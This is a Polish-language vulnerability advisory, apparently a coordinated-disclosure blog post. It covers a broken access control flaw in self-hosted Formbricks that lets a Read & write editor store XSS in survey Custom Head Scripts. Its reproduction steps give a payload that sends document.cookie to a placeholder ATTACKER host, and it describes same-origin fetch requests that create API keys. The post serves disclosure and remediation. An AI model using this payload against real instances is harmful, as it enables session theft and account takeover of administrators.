CVE-2026-XXXXX — Broken Access Control / Stored XSS w Formbricks (Custom Head Scripts)
Na self-hosted Formbricks członek workspace z samą rolą „Read & write" może ustawić Custom Head Scripts na poziomie ankiety — zdolność, którą dokumentacja rezerwuje dla roli „Manage" — i wykonać dowolny kod w uwierzytelnionej sesji wyżej uprzywilejowanych użytkowników otwierających link ankiety.
CVE-2026-XXXXX — niespójność autoryzacji w Custom Head Scripts prowadząca do stored XSS (Formbricks self-hosted)
Responsible Disclosure: Podatność została zgłoszona do zespołu bezpieczeństwa Formbricks w ramach responsible disclosure. Producent potwierdził problem i wydał poprawki w wersjach 5.4.4 oraz 6.0.1 przed publikacją niniejszego artykułu; kredyt dla badacza znalazł się w release notes. Researcher: Grzegorz Tworek (Sec4check). Jeśli utrzymujesz instancję self-hosted Formbricks — zaktualizuj ją do 5.4.4 / 6.0.1 lub nowszej.
Formbricks to open-source'owa platforma do zarządzania doświadczeniami (experience management) i ankiet, wdrażana zarówno jako usługa SaaS (Formbricks Cloud), jak i w modelu self-hosted. Opisana podatność dotyczy wyłącznie instancji self-hosted — Formbricks Cloud nie jest podatny.
Podsumowanie
Podczas niezależnych badań bezpieczeństwa (whitebox, pełna analiza przepływu danych na tagu 6.0.0) zidentyfikowałem podatność typu broken access control, która prowadzi bezpośrednio do stored XSS wykonującego się w sesji innego, wyżej uprzywilejowanego użytkownika. Funkcja Custom Head Scripts pozwala wstrzykiwać dowolny kod (np. analytics) do nagłówka publicznej strony ankiety. Na poziomie workspace ta zdolność jest — słusznie — ograniczona do roli manage. Na poziomie pojedynczej ankiety ta sama zdolność jest dostępna już dla roli readWrite (edytor). To właśnie ta asymetria odróżnia realną podatność od zamierzonej funkcji „wstrzyknij własny skrypt".
W praktyce: użytkownik z uprawnieniem workspace.write zapisuje payload w polu customHeadScripts ankiety zwykłą akcją edycji. Na instancjach self-hosted skrypty te są odtwarzane jako elementy <script> i dołączane do document.head publicznej strony ankiety (/s/[surveyId]), która jest same-origin z uwierzytelnionym panelem. Kiedy owner lub manager otworzy link ankiety będąc zalogowanym, kod atakującego wykonuje się w jego sesji na origin aplikacji — co otwiera drogę do przejęcia konta i działania w imieniu ofiary.
Szczegóły podatności
| CVE ID | CVE-2026-XXXXX — w trakcie przydziału (MITRE CNA-LR) |
|---|---|
| Typ (przyczyna źródłowa) | CWE-863: Incorrect Authorization |
| Typ (skutek) | CWE-79: Stored (Persistent) Cross-Site Scripting |
| Produkt | Formbricks (self-hosted) |
| Wersje podatne | ≤ 6.0.0 (potwierdzone na 6.0.0; funkcja obecna we wcześniejszych wydaniach) |
| Komponent | Survey Custom Head Scripts — survey/editor/actions.ts + survey/link/components/custom-scripts-injector.tsx |
| Wektor ataku | Sieciowy (uwierzytelniony zapis, instancja self-hosted) |
| Wymagane uprawnienia | Niskie — członek workspace z rolą „Read & write" (edytor) |
| Interakcja użytkownika | Wymagana — ofiara otwiera publiczny link ankiety w zalogowanej sesji |
| CVSS 3.1 | 8.7 HIGH |
| Wektor CVSS 3.1 | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CVSS 4.0 | 6.3 MEDIUM |
| Wektor CVSS 4.0 | AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N |
| Status | Naprawione przez producenta w 5.4.4 oraz 6.0.1 |
Analiza techniczna
Przyczyna źródłowa (Root Cause)
Sednem problemu nie jest sama możliwość wstrzyknięcia skryptu (to świadoma funkcja), lecz poziom uprawnień wymagany do jej użycia. Ta sama zdolność — wstrzyknięcie skryptu wykonującego się na publicznych stronach instancji — jest chroniona dwoma różnymi progami autoryzacji w zależności od tego, czy ustawiamy ją na poziomie workspace, czy ankiety.
1. Zapis (survey-level) — gate = workspace.write
2. Schemat — brak walidacji treści
3. Wstrzyknięcie (self-hosted, publiczna ankieta)
Ponieważ innerHTML sam z siebie nie uruchamia elementów <script>, injector celowo re-tworzy każdy tag skryptu i dołącza go do document.head, co wymusza jego wykonanie. Dla legalnego analytics to pożądane; dla payloadu atakującego — to gotowy mechanizm wykonania kodu.
4. Brak mitygacji po stronie CSP
Polityka CSP z 'unsafe-inline' w script-src nie stanowi tu żadnej bariery — wstrzyknięty skrypt inline wykonuje się bez przeszkód.
Dlaczego to podatność, a nie funkcja
To kluczowe rozróżnienie, dlatego rozwijam je osobno. Dowodem, że mamy do czynienia z niespójnością autoryzacji, a nie z zamierzonym zachowaniem, jest sam kod producenta — identyczna zdolność na poziomie workspace jest poprawnie chroniona wyższym progiem:
Kluczowa obserwacja: ta sama operacja o tym samym skutku (wstrzyknięcie skryptu wykonującego się na tych samych publicznych stronach) wymaga roli manage na poziomie workspace, ale tylko roli readWrite na poziomie ankiety. Dokumentacja Formbricks opisuje Custom Head Scripts jako funkcję zarządczą. Edytor ankiet, który nie powinien móc eskalować uprawnień, de facto może — przez ankietę.
Kroki reprodukcji
- Postaw instancję self-hosted Formbricks (docker compose), utwórz organizację i workspace.
- Dodaj drugiego użytkownika z rolą zespołową readWrite (edytor) — to atakujący.
- Jako edytor: edytuj ankietę → Share → zakładka Custom HTML i ustaw
customHeadScriptsna payload, np.:
<script>new Image().src="//ATTACKER/"+encodeURIComponent(document.cookie)</script> - Opublikuj ankietę i skopiuj publiczny link
/s/[surveyId]. - Jako owner/manager (inna sesja, zalogowany w panelu) otwórz ten link.
- Payload wykonuje się na origin instancji w sesji ofiary (trafienie na serwer atakującego lub wykonana akcja panelu).
Uwaga o httpOnly: jeśli ciasteczko sesji jest httpOnly, kradzież document.cookie nie zadziała — ale XSS na origin aplikacji pozwala wykonać uwierzytelnione żądanie same-origin (np. fetch z credentials tworzący klucz API albo dodający członka), co i tak daje pełne działanie w imieniu ofiary niezależnie od flagi httpOnly.
Dowody (Evidence)
Potwierdzenie wykonano na żywo na prawdziwej instancji self-hosted Formbricks 6.0.0 (ghcr.io/formbricks/formbricks:6.0.0 + PostgreSQL/pgvector + Valkey + SpiceDB), docker compose.
Krok 1 (broken access control): w oknie Share → Custom HTML pole „Survey-specific scripts" (wstrzykiwane do <head> strony ankiety) przyjmuje <script>alert(document.domain)</script>. Operacja zapisu wymaga jedynie uprawnienia edytora (workspace.write); interfejs sam ostrzega: „Scripts execute with full browser access".
Krok 2 (wykonanie): payload <script>alert(document.domain)</script> ustawiony jako customHeadScripts ankiety wykonuje się po otwarciu publicznego linku /s/[surveyId] w przeglądarce — okno alert wyświetla document.domain równy origin instancji (localhost). Potwierdzone także headless (Playwright): payload obecny w <head> renderowanej strony.
Uczciwa uwaga o fidelity: wykonanie na ścieżce renderującej /s/ potwierdzono na żywo na prawdziwym Formbricks. Samą wartość customHeadScripts ustawiłem w teście bezpośrednim zapisem do bazy (stan bajt-w-bajt identyczny z tym, co produkuje updateSurveyAction), natomiast autoryzację zapisu — że rola edytora z workspace.write wystarcza i nie ma sanityzacji — potwierdzono w kodzie (actions.ts:247, schemat z.string().nullish()). Nie naciągam: rozdzielam to, co zademonstrowane na żywo, od tego, co wykazane statycznie w kodzie.
Ocena wpływu (Impact Assessment)
Przejęcie konta / sesji
Kod wykonuje się na origin aplikacji w sesji ofiary. Przy braku httpOnly — kradzież ciasteczka; zawsze — uwierzytelnione żądania same-origin w imieniu ofiary.
Eskalacja uprawnień
Edytor (readWrite) uzyskuje działanie w sesji ownera/managera — przekroczenie granicy uprawnień, której architektura miała bronić.
Akcje panelu administracyjnego
Utworzenie klucza API, dodanie członka, zmiana ustawień organizacji — dowolna akcja dostępna dla ofiary przez interfejs aplikacji.
Trwałość (persistence)
Payload jest zapisany w ankiecie i wykonuje się przy każdym otwarciu linku — stored XSS, nie jednorazowy reflected.
Czynniki ograniczające (uczciwy kontekst)
Dla rzetelności: realną wagę obniżają trzy czynniki, które nie są w pełni ujęte w bazowym wektorze CVSS:
- Tylko self-hosted. Formbricks Cloud nie jest podatny — injector jest zablokowany flagą
!IS_FORMBRICKS_CLOUD. - Wymagana interakcja ofiary. Uprzywilejowany użytkownik musi otworzyć realny publiczny link
/s/w zalogowanej sesji (podgląd w panelu jest zablokowany flagą!isPreview). - Atakujący musi mieć konto. Wymagana jest rola
readWritew workspace — to aktor pół-zaufany, nie anonimowy.
CVSS — dwie metryki, jedno zjawisko
Podatność oceniłem w obu obowiązujących standardach. Rozbieżność pasm (HIGH vs MEDIUM) nie jest błędem — wynika z różnic w modelowaniu między wersjami:
| CVSS 3.1 | 8.7 (HIGH) — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
|---|---|
| CVSS 4.0 | 6.3 (MEDIUM) — AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N |
W CVSS 3.1 stosuję S:C (Scope Changed) — standard dla stored XSS, którego skutek wykracza poza komponent podatny i uderza w sesję innego użytkownika; stąd wysoki wynik. W CVSS 4.0 ten sam efekt modeluję jako wpływ na system następczy (SC:H/SI:H) przy niskim wpływie na sam system podatny (VC:L/VI:L) oraz interakcji pasywnej (UI:P) — co jest kanonicznym sposobem punktowania XSS w 4.0 i daje niższą liczbę. Obie oceny opisują tę samą podatność; różni je jedynie model scoringowy.
Rekomendowana remediacja
Priorytet — zrównanie progu autoryzacji:
- Ograniczyć zapis survey-level
customHeadScriptsdo uprawnieniaworkspace.manage— tak, by był spójny z poziomem workspace. To najprostsza i najbardziej spójna poprawka. - Nie wstrzykiwać
surveyScriptspochodzących od ról poniżejmanage; wyświetlać to samo ostrzeżenie, co przy ustawieniach workspace. - Defense-in-depth: rozważyć ściślejszy CSP dla
/s/i/c/(bez'unsafe-inline'wscript-src) — ale to koliduje z funkcją, stąd priorytet na kontrolę uprawnień.
Producent zaadresował problem w wersjach 5.4.4 i 6.0.1, wymagając uprawnienia „Manage" do zmiany Custom Head Scripts ankiety — zgodnie z rekomendacją.
Oś czasu (Disclosure Timeline)
| Data | Zdarzenie |
|---|---|
| 2026-09-23 | Zgłoszenie do [email protected] (responsible disclosure, pełny raport) |
| 2026-09-28 | Producent potwierdził naruszenie granicy uprawnień i otworzył wewnętrzne zgłoszenie inżynierskie |
| 2026-09-29 | Producent wydał poprawkę w 6.0.1 (oraz backport w 5.4.4); kredyt dla badacza w release notes |
| 2026-10-02 | Publikacja artykułu i rejestracja CVE jako third-party (MITRE CNA-LR), skoordynowana z wydaniem poprawki |
Wnioski
Ta podatność to podręcznikowy przykład tego, że XSS bywa objawem, a nie chorobą. Mechanizm wstrzykiwania skryptów był tu zamierzony i udokumentowany; prawdziwym defektem była niespójna kontrola dostępu — ta sama zdolność chroniona dwoma różnymi progami uprawnień w zależności od ścieżki. Edytor, który z założenia nie powinien eskalować uprawnień, mógł to zrobić przez ankietę.
Kilka zasad, które ten przypadek dobrze ilustruje:
- Spójność progów autoryzacji. Jeśli ta sama zdolność istnieje w dwóch miejscach, musi być chroniona tym samym poziomem uprawnień — inaczej słabsza ścieżka staje się obejściem.
- Funkcja „injection by design" to granica zaufania. Pole, które celowo wykonuje kod, wymaga rygorystycznej kontroli, kto może je zapisać.
- Rozdzielaj „zrobił" od „mógł". W ocenie wpływu warto twardo oddzielać to, co zademonstrowane na żywo, od tego, co wykazane w kodzie — i uczciwie nazywać czynniki ograniczające.
- CSP nie zastąpi kontroli uprawnień. Polityka z
'unsafe-inline'nie powstrzyma wstrzykniętego skryptu; granicą musi być autoryzacja zapisu.
Kluczowy takeaway: zanim zakwalifikujesz coś jako „tylko XSS", sprawdź, kto mógł wstrzyknąć payload i czyją sesję trafia. Tutaj odpowiedzią było „użytkownik o za niskich uprawnieniach" i „sesja administratora" — a to zmienia XSS w eskalację uprawnień.
Szukasz podatności w swojej aplikacji?
Jako niezależny badacz bezpieczeństwa i pentester pomagam organizacjom identyfikować i eliminować podatności, zanim zrobią to atakujący. Oferuję profesjonalne testy penetracyjne aplikacji webowych zgodne z OWASP ASVS.
Umów bezpłatną konsultację